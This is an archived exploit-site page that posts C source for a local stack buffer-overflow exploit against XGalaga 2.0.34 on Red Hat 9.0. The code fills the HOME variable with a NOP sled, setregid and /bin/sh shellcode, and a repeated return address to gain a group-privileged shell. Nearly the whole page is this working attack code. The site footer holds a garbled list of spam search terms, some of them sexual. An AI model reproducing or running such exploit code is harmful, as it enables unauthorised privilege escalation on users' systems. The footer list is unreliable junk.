about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , XGalaga 2.0.34 local game exploit (Red Hat 9.0)



2003-07-31 XGalaga 2.0.34 local game exploit (Red Hat 9.0)
/* 0x333xgalaga => XGalaga 2.0.34 local game exploit (Red Hat 9.0) 
*
* tested against xgalaga-2.0.34-1.i386.rpm
* under Red Hat Linux 9.0
*
* - bug found by Steve Kemp
* - exploit coded by c0wboy © 0x333
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/


#include <stdio.h>
#include <string.h>
#include <unistd.h>


#define BIN "/usr/X11R6/bin/xgalaga"
#define SIZE 264

#define RET 0xbffffe2c /* tested against Red Hat Linux 9.0 */
#define NOP 0x90


unsigned char shellcode[] =

/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"

/* exec /bin/sh shellcode */

"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


void banner (void);
void memret (char *, int, int, int);


void banner (void)
{
fprintf (stdout, "\n\n --- xgalaga local GAME exploit by c0wboy
---\n");
fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org
---\n\n");
}


void memret (char *buffer, int ret, int size, int align)
{
int i;
int * ptr = (int *) (buffer + align);

for (i=0; i<size; i+=4)
*ptr++ = ret;

ptr = 0x0;
}


int main ()
{
int ret = RET;
char out[SIZE];

memret ((char *)out, ret, SIZE-1, 0);

memset ((char *)out, NOP, 33);
memcpy ((char *)out+33, shellcode, strlen(shellcode));

setenv ("HOME", out, 1);

banner ();
execl (BIN, BIN, "-scores", 0x0); // the switch
"-scores" is necessary to exploit the game
}


securitydot.net - 2003-07-31

Advertising

Copyright 2007, SecurityDot
Wed, 09 Dec 2009 05:08:43 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
news.rss.t Dany www.lt99.c i...pedrad Phimsex.co SEX TEEN V wamp_dir/s cuobu.com Www.Simran Cum shots madhuri se all cartoo mambo Remo CMS is Fre Sex vidiyo any sex ve news for c 05043 gallery au wamp_dir/s sexvedio Crack indo Tameil sex ip board 2 ip board 2 sexvedio WWW.DESHIB educator sex images any sex ve 568704868. pinoy scan Zorras.com phpBB+2.0. search/exp Crack Data Www.xxxn.c www.world/ Scurity ng mersedesbb WWW+MALAYA Comfreedow Petardas.c www.pakist search/exp www.h5h6.c www.zhaopi Chai serve 169 www.pkubos